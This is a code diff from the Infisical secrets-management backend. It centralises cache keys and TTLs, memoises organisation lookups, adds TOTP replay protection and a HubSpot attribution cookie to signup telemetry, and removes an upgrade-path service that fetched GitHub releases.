+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { OrgServiceActor } from "@app/lib/types";
 import { isDisposableEmail, sanitizeEmail, validateEmail } from "@app/lib/validator";
 import { TAuthTokenServiceFactory } from "@app/services/auth-token/auth-token-service";
@@ -128,8 +130,6 @@ export const getInstanceIntegrationsConfig = () => {
   return adminIntegrationsConfig;
 };
 
-const ADMIN_CONFIG_KEY = "infisical-admin-cfg";
-const ADMIN_CONFIG_KEY_EXP = 60; // 60s
 export const ADMIN_CONFIG_DB_UUID = "00000000-0000-0000-0000-000000000000";
 
 export const superAdminServiceFactory = ({
@@ -160,8 +160,8 @@ export const superAdminServiceFactory = ({
     getServerCfg = async () => {
       const serverCfg = await withCache({
         keyStore,
-        key: ADMIN_CONFIG_KEY,
-        ttlSeconds: ADMIN_CONFIG_KEY_EXP,
+        key: KeyStorePrefixes.AdminConfig,
+        ttlSeconds: KeyStoreTtls.AdminConfigInSeconds,
         fetcher: async () => {
           const cfg = await serverCfgDAL.findById(ADMIN_CONFIG_DB_UUID);
           if (!cfg) {
@@ -181,7 +181,7 @@ export const superAdminServiceFactory = ({
     };
 
     // reset on initialized
-    await keyStore.deleteItem(ADMIN_CONFIG_KEY);
+    await keyStore.deleteItem(KeyStorePrefixes.AdminConfig);
     const serverCfg = await serverCfgDAL.transaction(async (tx) => {
       await tx.raw("SELECT pg_advisory_xact_lock(?)", [PgSqlLock.SuperAdminInit]);
       const serverCfgInDB = await serverCfgDAL.findById(ADMIN_CONFIG_DB_UUID);
@@ -463,9 +463,16 @@ export const superAdminServiceFactory = ({
     const updatedServerCfg = await serverCfgDAL.updateById(ADMIN_CONFIG_DB_UUID, updatedData);
 
     try {
-      await keyStore.setItemWithExpiry(ADMIN_CONFIG_KEY, ADMIN_CONFIG_KEY_EXP, JSON.stringify(updatedServerCfg));
+      await keyStore.setItemWithExpiry(
+        KeyStorePrefixes.AdminConfig,
+        KeyStoreTtls.AdminConfigInSeconds,
+        JSON.stringify(updatedServerCfg)
+      );
     } catch (err) {
-      logger.warn({ key: ADMIN_CONFIG_KEY, err }, `updateServerCfg: cache write failed [key=${ADMIN_CONFIG_KEY}]`);
+      logger.warn(
+        { key: KeyStorePrefixes.AdminConfig, err },
+        `updateServerCfg: cache write failed [key=${KeyStorePrefixes.AdminConfig}]`
+      );
     }
 
     if (gitHubAppConnectionSettingsUpdated) {
@@ -558,6 +565,7 @@ export const superAdminServiceFactory = ({
     if (existingUser) throw new BadRequestError({ name: "Instance initialization", message: "User already exists" });
 
     const userInfo = await userDAL.transaction(async (tx) => {
+      const hashedPassword = await crypto.hashing().createHash(password, appCfg.SALT_ROUNDS);
       const newUser = await userDAL.create(
         {
           firstName: "Admin",
@@ -568,13 +576,12 @@ export const superAdminServiceFactory = ({
           isGhost: false,
           isAccepted: true,
           authMethods: [AuthMethod.EMAIL],
-          isEmailVerified: true
+          isEmailVerified: true,
+          hashedPassword
         },
         tx
       );
 
-      const hashedPassword = await crypto.hashing().createHash(password, appCfg.SALT_ROUNDS);
-
       const userEnc = await userDAL.createUserEncryption(
         {
           userId: newUser.id,
@@ -584,7 +591,7 @@ export const superAdminServiceFactory = ({
         tx
       );
 
-      return { user: newUser, enc: userEnc };
+      return { user: { ...newUser, hashedPassword: null }, enc: userEnc };
     });
 
     const initialOrganizationName = organizationName ?? "Admin Org";
@@ -977,7 +984,7 @@ export const superAdminServiceFactory = ({
       throw new NotFoundError({ message: "Could not find server admin user" });
     }
 
-    const org = await orgDAL.findById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
 
     if (!org) {
       throw new NotFoundError({ message: `Could not organization with ID "${orgId}"` });
@@ -1042,7 +1049,9 @@ export const superAdminServiceFactory = ({
       throw new BadRequestError({ message: "No invite email associated with user." });
     }
 
-    const org = await orgDAL.findOrgById(orgMembership.scopeOrgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgMembership.scopeOrgId), () =>
+      orgDAL.findOrgById(orgMembership.scopeOrgId)
+    );
 
     const appCfg = getConfig();
     const serverAdmin = await userDAL.findById(actor.id);
@@ -1161,7 +1170,7 @@ export const superAdminServiceFactory = ({
   };
 
   const checkIfInvalidatingCache = async () => {
-    return (await keyStore.getItem("invalidating-cache")) !== null;
+    return (await keyStore.getItem(KeyStorePrefixes.InvalidatingCache)) !== null;
   };
 
   const initializeAdminIntegrationConfigSync = async () => {
@@ -1194,7 +1203,7 @@ export const superAdminServiceFactory = ({
   };
 
   const createEmailDomain = async ({ orgId, domain }: TAdminCreateEmailDomainDTO) => {
-    const org = await orgDAL.findOrgById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
     if (!org) throw new NotFoundError({ message: `Organization with ID '${orgId}' not found` });
 
     const config = getConfig();
diff --git a/backend/src/services/telemetry/telemetry-service.ts b/backend/src/services/telemetry/telemetry-service.ts
index 46ff97026f7..f11510fb0f4 100644
--- a/backend/src/services/telemetry/telemetry-service.ts
+++ b/backend/src/services/telemetry/telemetry-service.ts
@@ -8,7 +8,9 @@ import { getConfig } from "@app/lib/config/env";
 import { request } from "@app/lib/config/request";
 import { crypto } from "@app/lib/crypto/cryptography";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { ActorType } from "@app/services/auth/auth-type";
 import { TOrgDALFactory } from "@app/services/org/org-dal";
 
@@ -18,8 +20,6 @@ export const TELEMETRY_SECRET_PROCESSED_KEY = "telemetry-secret-processed";
 export const TELEMETRY_SECRET_OPERATIONS_KEY = "telemetry-secret-operations";
 
 export const POSTHOG_AGGREGATED_EVENTS = [PostHogEventTypes.SecretPulled, PostHogEventTypes.MachineIdentityLogin];
-const TELEMETRY_AGGREGATED_KEY_EXP = 600; // 10mins
-const GROUP_IDENTIFY_CACHE_TTL = 3600; // 1 hour
 
 // Bucket configuration
 const TELEMETRY_BUCKET_COUNT = 30;
@@ -60,7 +60,7 @@ const getBucketForDistinctId = (distinctId: string): string => {
 
 export const createTelemetryEventKey = (event: string, distinctId: string): string => {
   const bucketId = getBucketForDistinctId(distinctId);
-  return `telemetry-event-${event}-${bucketId}-${distinctId}-${crypto.nativeCrypto.randomUUID()}`;
+  return KeyStorePrefixes.TelemetryEvent(event, bucketId, distinctId, crypto.nativeCrypto.randomUUID());
 };
 
 export enum DeploymentType {
@@ -74,17 +74,17 @@ export enum DeploymentType {
  * Computes the deployment type based on the instance type and environment configuration.
  * - US Cloud: instanceType is Cloud and INTERNAL_REGION is "us" (or unset, defaults to US)
  * - EU Cloud: instanceType is Cloud and INTERNAL_REGION is "eu"
- * - Dedicated: INFISICAL_CLOUD is true but instanceType is not Cloud (uses self-hosted license keys)
+ * - Dedicated: INFISICAL_DEDICATED is true
  * - Self-Hosted: everything else
  */
 const getDeploymentType = (
   instanceType: InstanceType,
-  appConfig: { INFISICAL_CLOUD: boolean; INTERNAL_REGION?: string }
+  appConfig: { INFISICAL_CLOUD: boolean; INFISICAL_DEDICATED: boolean; INTERNAL_REGION?: string }
 ) => {
   if (instanceType === InstanceType.Cloud) {
     return appConfig.INTERNAL_REGION === "eu" ? DeploymentType.EUCloud : DeploymentType.USCloud;
   }
-  if (appConfig.INFISICAL_CLOUD) {
+  if (appConfig.INFISICAL_DEDICATED) {
     return DeploymentType.Dedicated;
   }
   return DeploymentType.SelfHosted;
@@ -135,7 +135,8 @@ To opt into telemetry, you can set "TELEMETRY_ENABLED=true" within the environme
     email: string,
     signupMethod: HubSpotSignupMethod,
     firstName?: string,
-    lastName?: string
+    lastName?: string,
+    hubspotUtk?: string
   ) => {
     const instanceType = licenseService.getInstanceType();
     if (
@@ -159,14 +160,22 @@ To opt into telemetry, you can set "TELEMETRY_ENABLED=true" within the environme
           if (value) fields.push({ name, value });
         }
 
+        const context: Record<string, string> = {
+          pageUri: `${appCfg.SITE_URL || "https://app.infisical.com"}/signup`,
+          pageName: "App Signup"
+        };
+
+        // Include the HubSpot tracking cookie to link this submission
+        // to the visitor's browsing session for proper attribution
+        if (hubspotUtk) {
+          context.hutk = hubspotUtk;
+        }
+
         await request.post(
           `https://api.hsforms.com/submissions/v3/integration/submit/${appCfg.HUBSPOT_PORTAL_ID}/${appCfg.HUBSPOT_SIGNUP_FORM_ID}`,
           {
             fields,
-            context: {
-              pageUri: `${appCfg.SITE_URL || "https://app.infisical.com"}/signup`,
-              pageName: "App Signup"
-            }
+            context
           },
           {
             headers: {
@@ -195,7 +204,7 @@ To opt into telemetry, you can set "TELEMETRY_ENABLED=true" within the environme
     }
 
     try {
-      const org = await orgDAL.findOrgById(orgId);
+      const org = await requestMemoize(requestMemoKeys.orgFindOrgById(orgId), () => orgDAL.findOrgById(orgId));
       if (org) {
         if (!properties.name) {
           properties.name = org.name;
@@ -248,7 +257,7 @@ To opt into telemetry, you can set "TELEMETRY_ENABLED=true" within the environme
       const eventKey = createTelemetryEventKey(event.event, event.distinctId);
       await keyStore.setItemWithExpiry(
         eventKey,
-        TELEMETRY_AGGREGATED_KEY_EXP,
+        KeyStoreTtls.TelemetryAggregatedEventInSeconds,
         JSON.stringify({
           distinctId: event.distinctId,
           event: event.event,
@@ -263,7 +272,7 @@ To opt into telemetry, you can set "TELEMETRY_ENABLED=true" within the environme
         // Dedup groupIdentify: only fire once per org per hour to avoid redundant DB/API calls
         const groupIdentifyCacheKey = KeyStorePrefixes.TelemetryGroupIdentify(orgId);
         void keyStore
-          .setItemWithExpiryNX(groupIdentifyCacheKey, GROUP_IDENTIFY_CACHE_TTL, "1")
+          .setItemWithExpiryNX(groupIdentifyCacheKey, KeyStoreTtls.TelemetryGroupIdentifyInSeconds, "1")
           .then((wasSet) => {
             if (wasSet) {
               return getOrgGroupProperties(orgId, resolvedOrgName).then((groupProperties) => {
@@ -362,7 +371,7 @@ To opt into telemetry, you can set "TELEMETRY_ENABLED=true" within the environme
     if (!postHog) return 0;
 
     try {
-      const bucketPattern = `telemetry-event-${eventType}-${bucketId}-*`;
+      const bucketPattern = KeyStorePrefixes.TelemetryEventByBucketPattern(eventType, bucketId);
       const bucketKeys = await keyStore.getKeysByPattern(bucketPattern);
 
       if (bucketKeys.length === 0) return 0;
@@ -402,7 +411,11 @@ To opt into telemetry, you can set "TELEMETRY_ENABLED=true" within the environme
             // Dedup groupIdentify across all paths: only fire once per org per hour
             const groupIdentifyCacheKey = KeyStorePrefixes.TelemetryGroupIdentify(key.org);
             // eslint-disable-next-line no-await-in-loop
-            const wasSet = await keyStore.setItemWithExpiryNX(groupIdentifyCacheKey, GROUP_IDENTIFY_CACHE_TTL, "1");
+            const wasSet = await keyStore.setItemWithExpiryNX(
+              groupIdentifyCacheKey,
+              KeyStoreTtls.TelemetryGroupIdentifyInSeconds,
+              "1"
+            );
             if (wasSet) {
               let groupProperties = orgPropertiesCache.get(key.org);
               if (!groupProperties) {
@@ -466,8 +479,6 @@ To opt into telemetry, you can set "TELEMETRY_ENABLED=true" within the environme
     }
   };
 
-  const TELEMETRY_IDENTIFY_CACHE_KEY_PREFIX = "telemetry-identify";
-  const TELEMETRY_IDENTIFY_CACHE_TTL = 86400; // 24 hours
   // Shorter TTL for in-memory fallback to bound memory growth during Redis outages
   const IN_MEMORY_IDENTIFY_FALLBACK_TTL_MS = 5 * 60 * 1000; // 5 minutes
 
@@ -491,9 +502,13 @@ To opt into telemetry, you can set "TELEMETRY_ENABLED=true" within the environme
     if (postHog && distinctId) {
       if (!skipDedup) {
         try {
-          const cacheKey = `${TELEMETRY_IDENTIFY_CACHE_KEY_PREFIX}:${distinctId}`;
+          const cacheKey = KeyStorePrefixes.TelemetryIdentify(distinctId);
           // Atomic SET NX + EX: only the first caller within the TTL window proceeds
-          const wasSet = await keyStore.setItemWithExpiryNX(cacheKey, TELEMETRY_IDENTIFY_CACHE_TTL, "1");
+          const wasSet = await keyStore.setItemWithExpiryNX(
+            cacheKey,
+            KeyStoreTtls.TelemetryIdentifyIdentityInSeconds,
+            "1"
+          );
           if (!wasSet) return;
         } catch (error) {
           logger.error(error, `Failed to check PostHog identify dedup cache for distinctId=${distinctId}`);
diff --git a/backend/src/services/telemetry/telemetry-types.ts b/backend/src/services/telemetry/telemetry-types.ts
index 9a72395185b..5f870c8d314 100644
--- a/backend/src/services/telemetry/telemetry-types.ts
+++ b/backend/src/services/telemetry/telemetry-types.ts
@@ -3,6 +3,7 @@ import {
   AcmeAccountActor,
   AcmeProfileActor,
   EstAccountActor,
+  GatewayActor,
   IdentityActor,
   KmipClientActor,
   PlatformActor,
@@ -12,6 +13,7 @@ import {
   UnknownUserActor,
   UserActor
 } from "@app/ee/services/audit-log/audit-log-types";
+import { PamParentType } from "@app/ee/services/pam-account/pam-account-enums";
 import { SecretRotation } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-enums";
 import { EnforcementLevel, SecretSharingAccessType } from "@app/lib/types";
 import { AppConnection } from "@app/services/app-connection/app-connection-enums";
@@ -28,6 +30,7 @@ export enum PostHogEventTypes {
   SecretDeleted = "secrets deleted",
   AdminInit = "admin initialization",
   UserSignedUp = "User Signed Up",
+  UserLoginV2 = "User Login V2",
   SecretRotated = "secrets rotated",
   SecretScannerFull = "historical cloud secret scan",
   SecretScannerPush = "cloud secret scan",
@@ -132,7 +135,8 @@ export type TSecretModifiedEvent = {
       | AcmeProfileActor
       | KmipClientActor
       | EstAccountActor
-      | ScepAccountActor;
+      | ScepAccountActor
+      | GatewayActor;
   };
 };
 
@@ -155,6 +159,14 @@ export type TUserSignedUpEvent = {
   };
 };
 
+export type TUserLoginV2Event = {
+  event: PostHogEventTypes.UserLoginV2;
+  properties: {
+    email: string;
+    channel: string;
+  };
+};
+
 export type TSecretScannerEvent = {
   event: PostHogEventTypes.SecretScannerFull | PostHogEventTypes.SecretScannerPush;
   properties: {
@@ -737,7 +749,7 @@ export type TPamResourceEvent = {
 export type TPamAccountEvent = {
   event: PostHogEventTypes.PamAccountCreated | PostHogEventTypes.PamAccountDeleted;
   properties: {
-    resourceType: string;
+    parentType: PamParentType;
     projectId: string;
   };
 };
@@ -754,7 +766,7 @@ export type TPamAccountAccessedEvent = {
 export type TPamAccountRotatedEvent = {
   event: PostHogEventTypes.PamAccountRotated;
   properties: {
-    resourceType: string;
+    parentType: PamParentType;
     projectId: string;
   };
 };
@@ -814,6 +826,7 @@ export type TPostHogEvent = { distinctId: string; organizationId?: string; organ
   | TSecretModifiedEvent
   | TAdminInitEvent
   | TUserSignedUpEvent
+  | TUserLoginV2Event
   | TSecretScannerEvent
   | TUserOrgInvitedEvent
   | TMachineIdentityCreatedEvent
diff --git a/backend/src/services/totp/totp-service.ts b/backend/src/services/totp/totp-service.ts
index 193a27d90db..8af265a9ba6 100644
--- a/backend/src/services/totp/totp-service.ts
+++ b/backend/src/services/totp/totp-service.ts
@@ -1,5 +1,6 @@
 import { authenticator } from "otplib";
 
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
 import { BadRequestError, ForbiddenRequestError, NotFoundError } from "@app/lib/errors";
 
 import { TKmsServiceFactory } from "../kms/kms-service";
@@ -20,13 +21,16 @@ type TTotpServiceFactoryDep = {
   userDAL: TUserDALFactory;
   totpConfigDAL: TTotpConfigDALFactory;
   kmsService: TKmsServiceFactory;
+  keyStore: Pick<TKeyStoreFactory, "setItemWithExpiryNX">;
 };
 
+authenticator.options = { window: 1 };
+
 export type TTotpServiceFactory = ReturnType<typeof totpServiceFactory>;
 
 const MAX_RECOVERY_CODE_LIMIT = 10;
 
-export const totpServiceFactory = ({ totpConfigDAL, kmsService, userDAL }: TTotpServiceFactoryDep) => {
+export const totpServiceFactory = ({ totpConfigDAL, kmsService, userDAL, keyStore }: TTotpServiceFactoryDep) => {
   const getUserTotpConfig = async ({ userId }: TGetUserTotpConfigDTO) => {
     const totpConfig = await totpConfigDAL.findOne({
       userId
@@ -176,6 +180,15 @@ export const totpServiceFactory = ({ totpConfigDAL, kmsService, userDAL }: TTotp
         message: "Invalid TOTP"
       });
     }
+
+    const claimed = await keyStore.setItemWithExpiryNX(
+      KeyStorePrefixes.UsedTotpCode(userId, totp),
+      KeyStoreTtls.UsedTotpCodeInSeconds,
+      "1"
+    );
+    if (!claimed) {
+      throw new ForbiddenRequestError({ message: "Invalid TOTP" });
+    }
   };
 
   const verifyWithUserRecoveryCode = async ({ userId, recoveryCode }: TVerifyWithUserRecoveryCodeDTO) => {
diff --git a/backend/src/services/upgrade-path/github-client.ts b/backend/src/services/upgrade-path/github-client.ts
deleted file mode 100644
index 44aacca6daa..00000000000
--- a/backend/src/services/upgrade-path/github-client.ts
+++ /dev/null
@@ -1,242 +0,0 @@
-/* eslint-disable no-await-in-loop */
-import RE2 from "re2";
-
-import { getConfig } from "@app/lib/config/env";
-
-import { FormattedRelease, GitHubApiError, GitHubRelease } from "./types";
-
-interface GitHubClientConfig {
-  token?: string;
-  timeout: number;
-  maxRetries: number;
-  retryDelay: number;
-  maxPagesPerRequest: number;
-  perPage: number;
-}
-
-interface RateLimitInfo {
-  remaining: number;
-  reset: Date;
-  used: number;
-  limit: number;
-}
-
-const getDefaultConfig = (): GitHubClientConfig => ({
-  token: getConfig().GITHUB_API_TOKEN,
-  timeout: 30000,
-  maxRetries: 3,
-  retryDelay: 1000,
-  maxPagesPerRequest: 10,
-  perPage: 100
-});
-
-const getHeaders = (token?: string): Record<string, string> => {
-  const headers: Record<string, string> = {
-    Accept: "application/vnd.github.v3+json",
-    "User-Agent": "Infisical-Upgrade-Path-Tool/1.0",
-    "X-GitHub-Api-Version": "2022-11-28"
-  };
-
-  if (token) {
-    headers.Authorization = `token ${token}`;
-  }
-
-  return headers;
-};
-
-const delay = (ms: number): Promise<void> => {
-  return new Promise((resolve) => {
-    setTimeout(resolve, ms);
-  });
-};
-
-const isMainInfisicalRelease = (tagName: string): boolean => {
-  if (
-    tagName.startsWith("infisical-cli/") ||
-    tagName.startsWith("infisical-k8-operator/") ||
-    tagName.startsWith("infisical-k8s-operator/")
-  ) {
-    return false;
-  }
-
-  const patterns = [
-    new RE2(/^v\d+\.\d+\.\d+/),
-    new RE2(/^\d+\.\d+\.\d+/),
-    new RE2(/^infisical\/v?\d+\.\d+\.\d+/),
-    new RE2(/^infisical\/v?\d+\.\d+\.\d+[-\w]*/)
-  ];
-
-  return patterns.some((pattern) => pattern.test(tagName));
-};
-
-const normalizeVersion = (tagName: string): string => {
-  const versionMatch = tagName.match(new RE2(/(\d+\.\d+\.\d+(?:\.\d+)?)/));
-  if (versionMatch) {
-    return `v${versionMatch[1]}`;
-  }
-
-  if (tagName.startsWith("infisical/")) {
-    const withoutPrefix = tagName.replace(new RE2(/^infisical\//), "");
-    return withoutPrefix.replace(new RE2(/-[a-zA-Z]+$/), "");
-  }
-  return tagName.replace(new RE2(/-[a-zA-Z]+$/), "");
-};
-
-const compareVersions = (v1: string, v2: string): number => {
-  const normalize = (v: string) => {
-    const versionMatch = v.match(new RE2(/(\d+\.\d+\.\d+(?:\.\d+)?)/));
-    if (versionMatch) {
-      return versionMatch[1];
-    }
-    if (v.startsWith("infisical/")) {
-      return v.replace(new RE2(/^infisical\/v?/), "").replace(new RE2(/-[a-zA-Z]+$/), "");
-    }
-    return v.replace(new RE2(/^v/), "").replace(new RE2(/-[a-zA-Z]+$/), "");
-  };
-
-  const clean1 = normalize(v1);
-  const clean2 = normalize(v2);
-
-  const parts1 = clean1.split(".").map(Number);
-  const parts2 = clean2.split(".").map(Number);
-
-  const maxLength = Math.max(parts1.length, parts2.length);
-  while (parts1.length < maxLength) parts1.push(0);
-  while (parts2.length < maxLength) parts2.push(0);
-
-  for (let i = 0; i < maxLength; i += 1) {
-    if (parts1[i] > parts2[i]) return 1;
-    if (parts1[i] < parts2[i]) return -1;
-  }
-  return 0;
-};
-
-const isVersionAtLeastMinimum = (tagName: string, minimumVersion = "0.147.0"): boolean => {
-  return compareVersions(tagName, minimumVersion) >= 0;
-};
-
-const makeRequest = async <T>(
-  url: string,
-  config: GitHubClientConfig,
-  retryCount = 0
-): Promise<{ data: T; rateLimit: RateLimitInfo }> => {
-  const controller = new AbortController();
-  const timeout = setTimeout(() => controller.abort(), config.timeout);
-
-  try {
-    const response = await fetch(url, {
-      headers: getHeaders(config.token),
-      signal: controller.signal
-    });
-
-    clearTimeout(timeout);
-
-    const rateLimit: RateLimitInfo = {
-      remaining: parseInt(response.headers.get("X-RateLimit-Remaining") || "0", 10),
-      reset: new Date(parseInt(response.headers.get("X-RateLimit-Reset") || "0", 10) * 1000),
-      used: parseInt(response.headers.get("X-RateLimit-Used") || "0", 10),
-      limit: parseInt(response.headers.get("X-RateLimit-Limit") || "5000", 10)
-    };
-
-    if (!response.ok) {
-      const error: GitHubApiError = new Error(`GitHub API error: ${response.status}`);
-      error.status = response.status;
-      error.headers = response.headers;
-
-      if (response.status === 403) {
-        const resetTime = rateLimit.reset.toISOString();
-        error.message = `GitHub API rate limit exceeded. Remaining: ${rateLimit.remaining}, Reset at: ${resetTime}. ${
-          !config.token ? "Consider setting GITHUB_TOKEN environment variable." : ""
-        }`;
-      }
-
-      if (retryCount < config.maxRetries && (response.status >= 500 || response.status === 403)) {
-        await delay(config.retryDelay * 2 ** retryCount);
-        return await makeRequest<T>(url, config, retryCount + 1);
-      }
-
-      throw error;
-    }
-
-    const data = (await response.json()) as T;
-    return { data, rateLimit };
-  } catch (error) {
-    clearTimeout(timeout);
-
-    if (error instanceof Error && error.name === "AbortError") {
-      if (retryCount < config.maxRetries) {
-        await delay(config.retryDelay * 2 ** retryCount);
-        return await makeRequest<T>(url, config, retryCount + 1);
-      }
-      throw new Error(`Request timeout after ${config.timeout}ms`);
-    }
-
-    if (retryCount < config.maxRetries && !(error as GitHubApiError).status) {
-      await delay(config.retryDelay * 2 ** retryCount);
-      return await makeRequest<T>(url, config, retryCount + 1);
-    }
-
-    throw error;
-  }
-};
-
-export const fetchReleases = async (includePrerelease = false): Promise<FormattedRelease[]> => {
-  const config = getDefaultConfig();
-  const allReleases: GitHubRelease[] = [];
-  let page = 1;
-  let hasMorePages = true;
-  let reachedMinimumVersion = false;
-
-  const maxConcurrentRequests = Math.min(3, config.maxPagesPerRequest);
-
-  while (hasMorePages && page <= config.maxPagesPerRequest && !reachedMinimumVersion) {
-    const requests: Promise<{ data: GitHubRelease[]; rateLimit: RateLimitInfo }>[] = [];
-
-    for (let i = 0; i < maxConcurrentRequests && page <= config.maxPagesPerRequest; i += 1, page += 1) {
-      const url = `https://api.github.com/repos/Infisical/infisical/releases?page=${page}&per_page=${config.perPage}`;
-      requests.push(makeRequest<GitHubRelease[]>(url, config));
-    }
-
-    const results = await Promise.allSettled(requests);
-    let hasData = false;
-
-    for (const result of results) {
-      if (result.status === "fulfilled") {
-        const { data } = result.value;
-        if (data.length > 0) {
-          for (const release of data) {
-            if (!release.draft && isMainInfisicalRelease(release.tag_name)) {
-              if (isVersionAtLeastMinimum(release.tag_name)) {
-                allReleases.push(release);
-              } else {
-                reachedMinimumVersion = true;
-                break;
-              }
-            }
-          }
-          hasData = true;
-        }
-      }
-    }
-
-    if (!hasData || results.every((r) => r.status === "fulfilled" && r.value.data.length < config.perPage)) {
-      hasMorePages = false;
-    }
-  }
-
-  const formattedReleases = allReleases
-    .map(
-      (release): FormattedRelease => ({
-        tagName: release.tag_name,
-        normalizedTagName: normalizeVersion(release.tag_name),
-        name: release.name,
-        body: release.body,
-        publishedAt: release.published_at,
-        prerelease: release.prerelease,
-        draft: release.draft
-      })
-    )
-    .sort((a, b) => new Date(b.publishedAt).getTime() - new Date(a.publishedAt).getTime());
-
-  return formattedReleases.filter((release) => includePrerelease || !release.prerelease);
-};
diff --git a/backend/src/services/upgrade-path/index.ts b/backend/src/services/upgrade-path/index.ts
deleted file mode 100644
index 1000e2bfa48..00000000000
--- a/backend/src/services/upgrade-path/index.ts
+++ /dev/null
@@ -1,2 +0,0 @@
-export type { TUpgradePathService, TUpgradePathServiceFactory } from "./upgrade-path-service";
-export { upgradePathServiceFactory } from "./upgrade-path-service";
diff --git a/backend/src/services/upgrade-path/types.ts b/backend/src/services/upgrade-path/types.ts
deleted file mode 100644
index 83d3d15469c..00000000000
--- a/backend/src/services/upgrade-path/types.ts
+++ /dev/null
@@ -1,66 +0,0 @@
-export interface GitHubRelease {
-  tag_name: string;
-  name: string;
-  body: string;
-  published_at: string;
-  prerelease: boolean;
-  draft: boolean;
-}
-
-export interface FormattedRelease {
-  tagName: string;
-  normalizedTagName: string;
-  name: string;
-  body: string;
-  publishedAt: string;
-  prerelease: boolean;
-  draft: boolean;
-}
-
-export interface BreakingChange {
-  title: string;
-  description: string;
-  action: string;
-}
-
-export interface VersionConfig {
-  breaking_changes?: BreakingChange[];
-  db_schema_changes?: string;
-  notes?: string;
-}
-
-export interface UpgradePathConfig {
-  versions?: Record<string, VersionConfig>;
-}
-
-export interface UpgradePathResult {
-  path: Array<{
-    version: string;
-    name: string;
-    publishedAt: string;
-    prerelease: boolean;
-  }>;
-  breakingChanges: Array<{
-    version: string;
-    changes: BreakingChange[];
-  }>;
-  features: Array<{
-    version: string;
-    name: string;
-    body: string;
-    publishedAt: string;
-  }>;
-  hasDbMigration: boolean;
-  config: Record<string, unknown>;
-}
-
-export interface GitHubApiError extends Error {
-  status?: number;
-  headers?: Headers;
-}
-
-export interface CacheEntry<T> {
-  data: T;
-  timestamp: number;
-  ttl: number;
-}
diff --git a/backend/src/services/upgrade-path/upgrade-path-schemas.ts b/backend/src/services/upgrade-path/upgrade-path-schemas.ts
deleted file mode 100644
index a283505c7d8..00000000000
--- a/backend/src/services/upgrade-path/upgrade-path-schemas.ts
+++ /dev/null
@@ -1,24 +0,0 @@
-import RE2 from "re2";
-import { z } from "zod";
-
-export const versionSchema = z
-  .string()
-  .min(1)
-  .max(50)
-  .regex(new RE2(/^[a-zA-Z0-9._/-]+$/), "Invalid version format");
-
-export const breakingChangeSchema = z.object({
-  title: z.string().min(1).max(200),
-  description: z.string().min(1).max(1000),
-  action: z.string().min(1).max(500)
-});
-
-export const versionConfigSchema = z.object({
-  breaking_changes: z.array(breakingChangeSchema).optional(),
-  db_schema_changes: z.string().max(1000).optional(),
-  notes: z.string().max(2000).optional()
-});
-
-export const upgradePathConfigSchema = z.object({
-  versions: z.record(versionSchema, versionConfigSchema).optional().nullable()
-});
diff --git a/backend/src/services/upgrade-path/upgrade-path-service.ts b/backend/src/services/upgrade-path/upgrade-path-service.ts
deleted file mode 100644
index e24743fc8fb..00000000000
--- a/backend/src/services/upgrade-path/upgrade-path-service.ts
+++ /dev/null
@@ -1,254 +0,0 @@
-import { readFile } from "fs/promises";
-import * as yaml from "js-yaml";
-import * as path from "path";
-import RE2 from "re2";
-import { z } from "zod";
-
-import { TKeyStoreFactory } from "@app/keystore/keystore";
-import { withCache } from "@app/lib/cache/with-cache";
-import { logger } from "@app/lib/logger";
-
-import { fetchReleases } from "./github-client";
-import { BreakingChange, FormattedRelease, UpgradePathConfig, UpgradePathResult } from "./types";
-import { versionConfigSchema, versionSchema } from "./upgrade-path-schemas";
-
-export type TUpgradePathServiceFactory = {
-  keyStore: TKeyStoreFactory;
-};
-export type TUpgradePathService = ReturnType<typeof upgradePathServiceFactory>;
-
-interface CalculateUpgradePathParams {
-  fromVersion: string;
-  toVersion: string;
-}
-
-const UPGRADE_PATH_CONFIG_KEY = "upgrade-path:config";
-const UPGRADE_PATH_CONFIG_TTL = 24 * 60 * 60; // 24 hours
-const UPGRADE_PATH_CACHE_TTL = 60 * 60; // 1 hour
-
-export const upgradePathServiceFactory = ({ keyStore }: TUpgradePathServiceFactory) => {
-  const sanitizeCacheKey = (key: string): string => {
-    return key.replace(new RE2(/[^a-zA-Z0-9\-:._]/g), "_");
-  };
-  const getGitHubReleases = async (): Promise<FormattedRelease[]> => {
-    const cacheKey = "upgrade-path:releases";
-
-    try {
-      const cached = await keyStore.getItem(cacheKey);
-      if (cached) {
-        const cachedReleases = JSON.parse(cached) as FormattedRelease[];
-        if (cachedReleases.length > 0) {
-          return cachedReleases;
-        }
-      }
-    } catch (error) {
-      logger.error(error, "Failed to retrieve releases from cache");
-    }
-
-    try {
-      const releases = await fetchReleases(false);
-      const filteredReleases = releases.filter((v) => !v.tagName.includes("nightly"));
-
-      await keyStore.setItemWithExpiry(cacheKey, 24 * 60 * 60, JSON.stringify(filteredReleases));
-      return filteredReleases;
-    } catch (error) {
-      throw new Error(`GitHub releases unavailable: ${error instanceof Error ? error.message : "Unknown error"}`);
-    }
-  };
-
-  const getUpgradePathConfig = async (): Promise<Record<string, z.infer<typeof versionConfigSchema>>> => {
-    return withCache({
-      keyStore,
-      key: UPGRADE_PATH_CONFIG_KEY,
-      ttlSeconds: UPGRADE_PATH_CONFIG_TTL,
-      fetcher: async () => {
-        try {
-          const yamlPath = path.join(__dirname, "..", "..", "..", "upgrade-path.yaml");
-          const resolvedPath = path.resolve(yamlPath);
-          const expectedBaseDir = path.resolve(__dirname, "..", "..", "..");
-          if (!resolvedPath.startsWith(expectedBaseDir)) {
-            throw new Error("Invalid configuration file path");
-          }
-
-          const yamlContent = await readFile(yamlPath, "utf8");
-
-          if (yamlContent.length > 1024 * 1024) {
-            throw new Error("Config file too large");
-          }
-
-          const config = yaml.load(yamlContent, { schema: yaml.FAILSAFE_SCHEMA }) as UpgradePathConfig;
-          return config?.versions || {};
-        } catch (error) {
-          if (error instanceof Error && "code" in error && error.code === "ENOENT") {
-            return {};
-          }
